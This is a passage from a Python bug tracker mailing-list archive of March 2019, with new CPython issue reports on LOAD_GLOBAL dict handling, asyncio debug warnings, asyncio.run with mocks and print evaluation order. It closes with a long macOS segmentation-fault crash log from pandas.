STORE_GLOBAL and DELETE_GLOBAL also go straight for PyDict_SetItem and PyDict_DelItem; I don't know whether those should be considered bugs as well, but the inconsistency between LOAD_NAME and LOAD_GLOBAL definitely seems wrong.

(For reference, the change that introduced the inconsistency was made for issue #14385, which was intended to support non-dict __builtins__.)

----------
components: Interpreter Core
messages: 337356
nosy: Kevin Shweh
priority: normal
severity: normal
status: open
title: LOAD_NAME and LOAD_GLOBAL handle dict subclasses for globals() differently
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36220>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:58:38 2019
From: report at bugs.python.org (Denis S. Otkidach)
Date: Thu, 07 Mar 2019 06:58:38 +0000
Subject: [New-bugs-announce] [issue36221] Setting PYTHONASYNCIODEBUG breaks
 warnings
Message-ID: <1551941918.68.0.578445039903.issue36221@roundup.psfhosted.org>


New submission from Denis S. Otkidach <denis.otkidach at gmail.com>:

Test script:

-->8--
import asyncio

@asyncio.coroutine
def test():
    with (yield from asyncio.Lock()):
        pass

asyncio.run(test())
-->8--

Correct behavior without flag (warning is reported and points to correct line of code):
---
$ python test.py 
test.py:5: DeprecationWarning: 'with (yield from lock)' is deprecated use 'async with lock' instead
  with (yield from asyncio.Lock()):
---

Setting PYTHONASYNCIODEBUG flag disables warning:
---
$ PYTHONASYNCIODEBUG=1 python test.py
$
---

Warning is back explicitly turned on, but points to incorrect position in stack:
---
$ PYTHONASYNCIODEBUG=1 python -Wall test.py 
lib/python3.8/asyncio/coroutines.py:58: DeprecationWarning: 'with (yield from lock)' is deprecated use 'async with lock' instead
  return self.gen.send(None)
---

Another way to enable debugging doesn't disable warnings, but break its location too:
---
$ python -Xdev test.py 
lib/python3.8/asyncio/coroutines.py:58: DeprecationWarning: 'with (yield from lock)' is deprecated use 'async with lock' instead
  return self.gen.send(None)
---

----------
components: asyncio
messages: 337366
nosy: asvetlov, ods, yselivanov
priority: normal
severity: normal
status: open
title: Setting PYTHONASYNCIODEBUG breaks warnings
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36221>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:08:41 2019
From: report at bugs.python.org (=?utf-8?b?UsOpbXkgSHVic2NoZXIgWzpuYXRpbV0=?=)
Date: Thu, 07 Mar 2019 09:08:41 +0000
Subject: [New-bugs-announce] [issue36222] ValueError: a coroutine was
 expected with asyncio.run
Message-ID: <1551949721.3.0.00931012089501.issue36222@roundup.psfhosted.org>


New submission from R?my Hubscher [:natim] <hubscher.remy at gmail.com>:

Refs: https://github.com/Martiusweb/asynctest/issues/114

I was trying to mock a `asyncio.run(asyncio.gather())` call and I discovered that while it was working with `loop.run_until_complete` it wasn't with `asyncio.run`

Is there a reason for this difference of behaviour?

```
import asyncio
from unittest.mock import Mock


class AsyncMock(Mock):

    def __call__(self, *args, **kwargs):
        sup = super(AsyncMock, self)
        async def coro():
            return sup.__call__(*args, **kwargs)
        return coro()

    def __await__(self):
        return self().__await__()

mocked_function = AsyncMock()

asyncio.run(asyncio.gather(mocked_function()))
```

```
import asyncio
from unittest.mock import Mock


class AsyncMock(Mock):

    def __call__(self, *args, **kwargs):
        sup = super(AsyncMock, self)
        async def coro():
            return sup.__call__(*args, **kwargs)
        return coro()

    def __await__(self):
        return self().__await__()

mocked_function = AsyncMock()

loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.gather(mocked_function()))
```

----------
components: asyncio
messages: 337374
nosy: asvetlov, natim, yselivanov
priority: normal
severity: normal
status: open
title: ValueError: a coroutine was expected  with asyncio.run
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36222>
_______________________________________

From report at bugs.python.org  Thu Mar  7 05:24:25 2019
From: report at bugs.python.org (Ketan Sharma)
Date: Thu, 07 Mar 2019 10:24:25 +0000
Subject: [New-bugs-announce] [issue36223] Execution sequence for print
 function
Message-ID: <1551954265.43.0.245266247678.issue36223@roundup.psfhosted.org>


New submission from Ketan Sharma <iitkgp.ketan at gmail.com>:

>>> def pola(arr):
...   for i, item in enumerate(arr):
...     arr[i] = item*item
...
>>> a = [1,2,3,4]
>>> print(a,pola(a),a)
[1, 4, 9, 16] None [1, 4, 9, 16]

I would expect the print statement to execute and print the arguments sequentially from left to right. This could be an optimization trick inside the Python compiler, but still different that what would be expected. Thanks.

----------
messages: 337381
nosy: iitkgp.ketan at gmail.com
priority: normal
severity: normal
status: open
title: Execution sequence for print function
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36223>
_______________________________________

From report at bugs.python.org  Thu Mar  7 08:07:19 2019
From: report at bugs.python.org (Xin Wang)
Date: Thu, 07 Mar 2019 13:07:19 +0000
Subject: [New-bugs-announce] [issue36224] Python quit unexpectedly error
Message-ID: <1551964039.54.0.549663793751.issue36224@roundup.psfhosted.org>


New submission from Xin Wang <imrwangxin at gmail.com>:

I face the same error with https://bugs.python.org/issue36154, but the solution is not work for me. So I want to show you my error.

I'm on a Mac running Mojave, version 10.14.3. I installed Python 3.7.2.
I am using vscode. It is work fine in command line.

Process:               Python [6855]
Path:                  /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python
Identifier:            Python
Version:               3.7.2 (3.7.2)
Code Type:             X86-64 (Native)
Parent Process:        Microsoft.Python.LanguageServer [6775]
Responsible:           Python [6855]
User ID:               501

Date/Time:             2019-03-07 20:56:29.311 +0800
OS Version:            Mac OS X 10.14.3 (18D109)
Report Version:        12
Bridge OS Version:     3.3 (16P3133)
Anonymous UUID:        9BB7B8DF-31FF-DE9B-C98A-12906B656226

Sleep/Wake UUID:       ACC9C63D-DFE1-42FE-8E68-5C3942745A62

Time Awake Since Boot: 3000 seconds
Time Since Wake:       1000 seconds

System Integrity Protection: enabled

Crashed Thread:        0  Dispatch queue: com.apple.main-thread

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [6855]

VM Regions Near 0:
--> 
    __TEXT                 0000000103540000-0000000103542000 [    8K] r-x/rwx SM=COW  /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   algos.cpython-37m-darwin.so   	0x00000001132d2520 __pyx_pf_6pandas_5_libs_5algos_600__defaults__ + 32
1   algos.cpython-37m-darwin.so   	0x0000000113422ed0 __Pyx_CyFunction_get_kwdefaults + 48
2   org.python.python             	0x000000010356655c getset_get + 58
3   org.python.python             	0x000000010358db50 _PyObject_GenericGetAttrWithDict + 181
4   org.python.python             	0x000000010358da40 _PyObject_LookupAttr + 166
5   org.python.python             	0x00000001035eb1c4 builtin_getattr + 141
6   org.python.python             	0x0000000103561637 _PyMethodDef_RawFastCallKeywords + 496
7   org.python.python             	0x0000000103560bd3 _PyCFunction_FastCallKeywords + 44
8   org.python.python             	0x00000001035f65f0 call_function + 636
9   org.python.python             	0x00000001035ef2cf _PyEval_EvalFrameDefault + 7174
10  org.python.python             	0x0000000103560fae function_code_fastcall + 112
11  org.python.python             	0x00000001035f6665 call_function + 753
12  org.python.python             	0x00000001035ef2cf _PyEval_EvalFrameDefault + 7174
13  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
14  org.python.python             	0x0000000103560b98 _PyFunction_FastCallKeywords + 225
15  org.python.python             	0x00000001035f6665 call_function + 753
16  org.python.python             	0x00000001035ef375 _PyEval_EvalFrameDefault + 7340
17  org.python.python             	0x0000000103560fae function_code_fastcall + 112
18  org.python.python             	0x00000001035f6665 call_function + 753
19  org.python.python             	0x00000001035ef2cf _PyEval_EvalFrameDefault + 7174
20  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
21  org.python.python             	0x0000000103560b98 _PyFunction_FastCallKeywords + 225
22  org.python.python             	0x00000001035f6665 call_function + 753
23  org.python.python             	0x00000001035ef218 _PyEval_EvalFrameDefault + 6991
24  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
25  org.python.python             	0x0000000103560801 _PyFunction_FastCallDict + 441
26  org.python.python             	0x0000000103561931 _PyObject_Call_Prepend + 150
27  org.python.python             	0x000000010359f05c slot_tp_init + 80
28  org.python.python             	0x000000010359bd28 type_call + 178
29  org.python.python             	0x0000000103560a39 _PyObject_FastCallKeywords + 359
30  org.python.python             	0x00000001035f665e call_function + 746
31  org.python.python             	0x00000001035ef375 _PyEval_EvalFrameDefault + 7340
32  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
33  org.python.python             	0x0000000103560801 _PyFunction_FastCallDict + 441
34  org.python.python             	0x0000000103561931 _PyObject_Call_Prepend + 150
35  org.python.python             	0x000000010359f05c slot_tp_init + 80
36  org.python.python             	0x000000010359bd28 type_call + 178
37  org.python.python             	0x0000000103560a39 _PyObject_FastCallKeywords + 359
38  org.python.python             	0x00000001035f665e call_function + 746
39  org.python.python             	0x00000001035ef375 _PyEval_EvalFrameDefault + 7340
40  org.python.python             	0x0000000103560fae function_code_fastcall + 112
41  org.python.python             	0x00000001035f6665 call_function + 753
42  org.python.python             	0x00000001035ef218 _PyEval_EvalFrameDefault + 6991
43  org.python.python             	0x0000000103560fae function_code_fastcall + 112
44  org.python.python             	0x00000001035f6665 call_function + 753
45  org.python.python             	0x00000001035ef218 _PyEval_EvalFrameDefault + 6991
46  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
47  org.python.python             	0x00000001035ed626 PyEval_EvalCode + 51
48  org.python.python             	0x000000010361c2a5 run_mod + 54
49  org.python.python             	0x000000010361b2c0 PyRun_FileExFlags + 164
50  org.python.python             	0x000000010361a97a PyRun_SimpleFileExFlags + 266
51  org.python.python             	0x00000001036336a2 pymain_main + 5614
52  org.python.python             	0x0000000103633ca4 _Py_UnixMain + 56
53  libdyld.dylib                 	0x00007fff65b37ed9 start + 1

Thread 1:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 2:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 3:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 4:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 5:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000000000000  rbx: 0x0000000103c7c7b8  rcx: 0x0000000103c7c7a0  rdx: 0x0000000114c0d570
  rdi: 0x0000000103c7c7d0  rsi: 0x0000000000000000  rbp: 0x00007ffeec6bd380  rsp: 0x00007ffeec6bd370
   r8: 0x0000000000000003   r9: 0x00007ffeec6bd430  r10: 0x0000000000000002  r11: 0x00007ffeec6bd488
  r12: 0x000000011348dc78  r13: 0x0000000113435698  r14: 0x000000011348dc78  r15: 0x0000000000000000
  rip: 0x00000001132d2520  rfl: 0x0000000000010206  cr2: 0x0000000000000000
  
Logical CPU:     2
Error Code:      0x00000004
Trap Number:     14


Binary Images:
       0x103540000 -        0x103541fff +org.python.python (3.7.2 - 3.7.2) <6C779152-9270-3595-AC18-9BC057864DEE> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python
       0x103547000 -        0x1036cdff7 +org.python.python (3.7.2, [c] 2001-2018 Python Software Foundation. - 3.7.2) <381588BD-EEDC-3DDD-8D65-0F7F54729B70> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Python
       0x1039cb000 -        0x1039ccfff +_heapq.cpython-37m-darwin.so (0) <7F27633E-D5A9-3E71-9B65-5F276DB2F7E5> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_heapq.cpython-37m-darwin.so
       0x103a50000 -        0x103a50fff +_opcode.cpython-37m-darwin.so (0) <1140A364-57E0-3A5E-B63A-4ED7D1FD1C7C> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_opcode.cpython-37m-darwin.so
       0x103a93000 -        0x103baaff7 +libgfortran.3.dylib (0) <9ABE5EDE-AD43-391A-9E54-866711FAC32A> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libgfortran.3.dylib
       0x103c0e000 -        0x103c23ff7 +libgcc_s.1.dylib (0) <7C6D7CB7-82DB-3290-8181-07646FEA1F80> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libgcc_s.1.dylib
       0x103c2f000 -        0x103c33ffb +math.cpython-37m-darwin.so (0) <8B464989-661E-35CC-9B75-0E752410BBEE> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so
       0x103c39000 -        0x103c44ff3 +_datetime.cpython-37m-darwin.so (0) <C0189868-7281-38C0-81FA-350D332F475C> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_datetime.cpython-37m-darwin.so
       0x103c4d000 -        0x103c4dfff +_bisect.cpython-37m-darwin.so (0) <9BAE67A9-0F97-382B-A43A-310CFA6003DC> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_bisect.cpython-37m-darwin.so
       0x103cd0000 -        0x103f19fff +_multiarray_umath.cpython-37m-darwin.so (0) <769348C2-AC85-3707-965E-164C9AF0FC87> /usr/local/lib/python3.7/site-packages/numpy/core/_multiarray_umath.cpython-37m-darwin.so
       0x104028000 -        0x107a9750f +libopenblasp-r0.3.5.dev.dylib (0) <ACE169E8-3E50-3B05-BDD8-316C75CD4430> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libopenblasp-r0.3.5.dev.dylib
       0x107cd6000 -        0x107d0cfff +libquadmath.0.dylib (0) <7FFA409F-FB04-3B64-BE9A-3E3A494C975E> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libquadmath.0.dylib
       0x109e24000 -        0x109e33fff +_ctypes.cpython-37m-darwin.so (0) <B5B8EC0B-D3E8-3438-9CB5-DCD37E8A884E> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_ctypes.cpython-37m-darwin.so
       0x109e3e000 -        0x109e41fff +_struct.cpython-37m-darwin.so (0) <D5C08DBC-5909-31B5-85D0-8FC2BFA85B14> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_struct.cpython-37m-darwin.so
       0x109e88000 -        0x109e94fff +_pickle.cpython-37m-darwin.so (0) <EC7F2E5D-F1AD-3277-BA96-5EE4E540662F> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_pickle.cpython-37m-darwin.so
       0x109f4c000 -        0x109f59ff7 +_multiarray_tests.cpython-37m-darwin.so (0) <087E0B69-E694-39C1-A11B-28381B01E6D1> /usr/local/lib/python3.7/site-packages/numpy/core/_multiarray_tests.cpython-37m-darwin.so
       0x109fa8000 -        0x109fa9ff7 +lapack_lite.cpython-37m-darwin.so (0) <02B5EDB3-0501-3B8C-AA95-BE1A95DCB335> /usr/local/lib/python3.7/site-packages/numpy/linalg/lapack_lite.cpython-37m-darwin.so
       0x109fad000 -        0x109fc6fff +_umath_linalg.cpython-37m-darwin.so (0) <0DF55942-F257-362F-AB62-C821F1833E7B> /usr/local/lib/python3.7/site-packages/numpy/linalg/_umath_linalg.cpython-37m-darwin.so
       0x10a094000 -        0x10a097fff +zlib.cpython-37m-darwin.so (0) <95AA4B1E-D850-3D25-977D-9096B45CE49F> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/zlib.cpython-37m-darwin.so
       0x10a09c000 -        0x10a09dfff +_bz2.cpython-37m-darwin.so (0) <ED995F35-FBB9-3476-99B4-328046BCAA1D> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_bz2.cpython-37m-darwin.so
       0x10a0a1000 -        0x10a0a4ff7 +_lzma.cpython-37m-darwin.so (0) <2D2DC3F6-730B-3B9D-BE45-C22CC1BE46EE> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_lzma.cpython-37m-darwin.so
       0x10a0a9000 -        0x10a0c4ff3 +liblzma.5.dylib (0) <D5E25B2B-6DFB-3233-850B-65F488A14688> /usr/local/opt/xz/lib/liblzma.5.dylib
       0x10a0ca000 -        0x10a0cbfff +grp.cpython-37m-darwin.so (0) <62B795FB-63F1-31E1-91BA-E5A6F3DAED83> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/grp.cpython-37m-darwin.so
       0x10a10e000 -        0x10a13bffb +_decimal.cpython-37m-darwin.so (0) <7E9520C5-B012-30A8-9A93-368E23D68E60> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_decimal.cpython-37m-darwin.so
       0x10a14e000 -        0x10a157fff +fftpack_lite.cpython-37m-darwin.so (0) <055401C0-788C-39AE-8DF6-6323AE59FA3C> /usr/local/lib/python3.7/site-packages/numpy/fft/fftpack_lite.cpython-37m-darwin.so
       0x10a1db000 -        0x10a28bfff +mtrand.cpython-37m-darwin.so (0) <4123AC81-9ADC-329E-80F4-CC070F39ABEA> /usr/local/lib/python3.7/site-packages/numpy/random/mtrand.cpython-37m-darwin.so
       0x10a52e000 -        0x10a531fff +_hashlib.cpython-37m-darwin.so (0) <59C7B4CB-F53D-34B6-8859-40BCB1DB9969> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_hashlib.cpython-37m-darwin.so
       0x10a535000 -        0x10a53affb +_blake2.cpython-37m-darwin.so (0) <799AA4CB-768B-3A94-9596-83EF1194563B> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_blake2.cpython-37m-darwin.so
       0x10a53e000 -        0x10a53ffff +_random.cpython-37m-darwin.so (0) <96AB86A6-4976-3E2D-98C3-75715A9BD9AC> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_random.cpython-37m-darwin.so
       0x10a542000 -        0x10a543fff +_posixsubprocess.cpython-37m-darwin.so (0) <0A337549-BF12-349B-A4EE-6DBFC12B0E71> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_posixsubprocess.cpython-37m-darwin.so
       0x10a546000 -        0x10a547fff +_scproxy.cpython-37m-darwin.so (0) <2672629C-CEF4-3C9C-9CF1-90CE6C311723> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_scproxy.cpython-37m-darwin.so
       0x10a54a000 -        0x10a5c8a87  dyld (655.1) <3EBA447F-A546-366B-B302-8DC3B21A3E30> /usr/lib/dyld
       0x11262b000 -        0x11266bff7 +libssl.1.0.0.dylib (0) <0939E9FE-CAF8-3E1B-8635-15C0FD7D13CD> /usr/local/opt/openssl/lib/libssl.1.0.0.dylib
       0x11268a000 -        0x1127dde97 +libcrypto.1.0.0.dylib (0) <A6F555BF-9F61-3BC9-9488-4E267E29E718> /usr/local/opt/openssl/lib/libcrypto.1.0.0.dylib
       0x112856000 -        0x112866fff +_sha3.cpython-37m-darwin.so (0) <D2FD0138-C2DB-31EC-96FF-4773DC5F79A8> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_sha3.cpython-37m-darwin.so
       0x1128eb000 -        0x1128eefff +select.cpython-37m-darwin.so (0) <35125464-971F-3291-A292-BEA60522E76C> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/select.cpython-37m-darwin.so
       0x1128f3000 -        0x1129f1fff +unicodedata.cpython-37m-darwin.so (0) <CC2D9BAE-60E6-34D8-8138-0CA99A507D1B> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/unicodedata.cpython-37m-darwin.so
       0x112a36000 -        0x112a39ff7 +binascii.cpython-37m-darwin.so (0) <8C089B49-431D-3BF7-A131-BAF8FFAF598A> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/binascii.cpython-37m-darwin.so
       0x112a7d000 -        0x112a85ffb +_socket.cpython-37m-darwin.so (0) <44AD2731-61B4-3305-8316-4BCF061144D7> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_socket.cpython-37m-darwin.so
       0x112ad0000 -        0x112adcfff +_ssl.cpython-37m-darwin.so (0) <5E8C483F-7EE2-3A1D-9CA3-0269880A962F> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_ssl.cpython-37m-darwin.so
       0x112baa000 -        0x112bfffff +conversion.cpython-37m-darwin.so (0) <A939A20F-5DA1-36FB-A88E-552229EA6258> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/conversion.cpython-37m-darwin.so
       0x112c21000 -        0x112c40fff +nattype.cpython-37m-darwin.so (0) <BC58626B-6D02-3476-8364-840D577259C8> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/nattype.cpython-37m-darwin.so
       0x112c58000 -        0x112c60ff7 +np_datetime.cpython-37m-darwin.so (0) <ECDA1AC9-F3C6-3097-9999-8C853C70D32D> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/np_datetime.cpython-37m-darwin.so
       0x112ca8000 -        0x112cfdfff +timedeltas.cpython-37m-darwin.so (0) <AD476F5B-E030-3C25-88AF-C415EF879798> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/timedeltas.cpython-37m-darwin.so
       0x112d2b000 -        0x112d74ff7 +offsets.cpython-37m-darwin.so (0) <BEE9D666-FB2C-3593-90B5-36EBBD2FDDEA> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/offsets.cpython-37m-darwin.so
       0x112da2000 -        0x112daafff +ccalendar.cpython-37m-darwin.so (0) <D095C458-D957-3972-B3C4-035CC36D96F0> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/ccalendar.cpython-37m-darwin.so
       0x112db4000 -        0x112dffff3 +strptime.cpython-37m-darwin.so (0) <09C522CB-2EC8-380A-AB54-235C67928CE5> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/strptime.cpython-37m-darwin.so
       0x112e27000 -        0x112e4dff3 +timezones.cpython-37m-darwin.so (0) <16415963-564E-390C-B318-B5F3109B89A2> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/timezones.cpython-37m-darwin.so
       0x112e63000 -        0x112ea7fff +parsing.cpython-37m-darwin.so (0) <47A20BA2-1541-315D-A879-DB13B1E07BA4> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/parsing.cpython-37m-darwin.so
       0x112ecc000 -        0x112f22fff +period.cpython-37m-darwin.so (0) <9E197B72-D4BD-3B60-995F-5290E0007380> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/period.cpython-37m-darwin.so
       0x112f4c000 -        0x112f5fff3 +frequencies.cpython-37m-darwin.so (0) <B65BF7FB-58EE-379B-AC60-6ED3883B9C40> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/frequencies.cpython-37m-darwin.so
       0x112fb0000 -        0x11300eff3 +timestamps.cpython-37m-darwin.so (0) <C569BBBF-AF24-3CE6-81D8-6CBCA3961B0A> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/timestamps.cpython-37m-darwin.so
       0x113043000 -        0x11306fff3 +fields.cpython-37m-darwin.so (0) <349B90A2-DECC-3503-9478-900D35915925> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/fields.cpython-37m-darwin.so
       0x113089000 -        0x1130b5fff +resolution.cpython-37m-darwin.so (0) <128076C0-660A-3D38-BC49-87367346D047> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/resolution.cpython-37m-darwin.so
       0x1130d3000 -        0x113147ff3 +hashtable.cpython-37m-darwin.so (0) <267B4E03-6B36-30F3-BB27-4FFFCB96FA5B> /usr/local/lib/python3.7/site-packages/pandas/_libs/hashtable.cpython-37m-darwin.so
       0x113178000 -        0x113185ffb +missing.cpython-37m-darwin.so (0) <B8612A00-D075-359B-93D3-1E4C59B8D0F8> /usr/local/lib/python3.7/site-packages/pandas/_libs/missing.cpython-37m-darwin.so
       0x11318f000 -        0x1131e0ffb +lib.cpython-37m-darwin.so (0) <8F7A8A70-7286-3EAF-BC1E-4AD621DF7452> /usr/local/lib/python3.7/site-packages/pandas/_libs/lib.cpython-37m-darwin.so
       0x11320e000 -        0x113248ff3 +tslib.cpython-37m-darwin.so (0) <F112B2F5-BE30-3507-B39A-2B591B5EC028> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslib.cpython-37m-darwin.so
       0x1132a3000 -        0x11342aff7 +algos.cpython-37m-darwin.so (0) <16336DC5-B61A-30AC-B97E-FD05DDFD50A6> /usr/local/lib/python3.7/site-packages/pandas/_libs/algos.cpython-37m-darwin.so
       0x1134be000 -        0x11366dfff +interval.cpython-37m-darwin.so (0) <71B0E9EE-9468-396C-969B-15BD1C857673> /usr/local/lib/python3.7/site-packages/pandas/_libs/interval.cpython-37m-darwin.so
       0x113723000 -        0x11372bfff +properties.cpython-37m-darwin.so (0) <29F51A0C-A389-3002-8D94-4DFE26B79EC2> /usr/local/lib/python3.7/site-packages/pandas/_libs/properties.cpython-37m-darwin.so
       0x113734000 -        0x113750ff7 +hashing.cpython-37m-darwin.so (0) <A9CA92BF-B90A-3E00-AD32-D78B7C35D393> /usr/local/lib/python3.7/site-packages/pandas/_libs/hashing.cpython-37m-darwin.so
       0x1137a3000 -        0x1137c8fff +ops.cpython-37m-darwin.so (0) <3C5779C3-46E5-36F9-93A2-EDAA331EF2CB> /usr/local/lib/python3.7/site-packages/pandas/_libs/ops.cpython-37m-darwin.so
       0x11391d000 -        0x1139a2fff +index.cpython-37m-darwin.so (0) <847DA8B2-EF82-337E-A1CD-D7D2E5D8A7B0> /usr/local/lib/python3.7/site-packages/pandas/_libs/index.cpython-37m-darwin.so
       0x1139d2000 -        0x113c1dff7 +join.cpython-37m-darwin.so (0) <008681F7-322C-3D29-9513-BEA85595D08D> /usr/local/lib/python3.7/site-packages/pandas/_libs/join.cpython-37m-darwin.so
       0x113d1b000 -        0x113de0fff +sparse.cpython-37m-darwin.so (0) <0233D55F-A160-3834-8B2A-2CCFB8D86BC8> /usr/local/lib/python3.7/site-packages/pandas/_libs/sparse.cpython-37m-darwin.so
       0x113dfc000 -        0x113ea3fff +groupby.cpython-37m-darwin.so (0) <FFA367F3-AF7B-30A2-896F-93B24907D72A> /usr/local/lib/python3.7/site-packages/pandas/_libs/groupby.cpython-37m-darwin.so
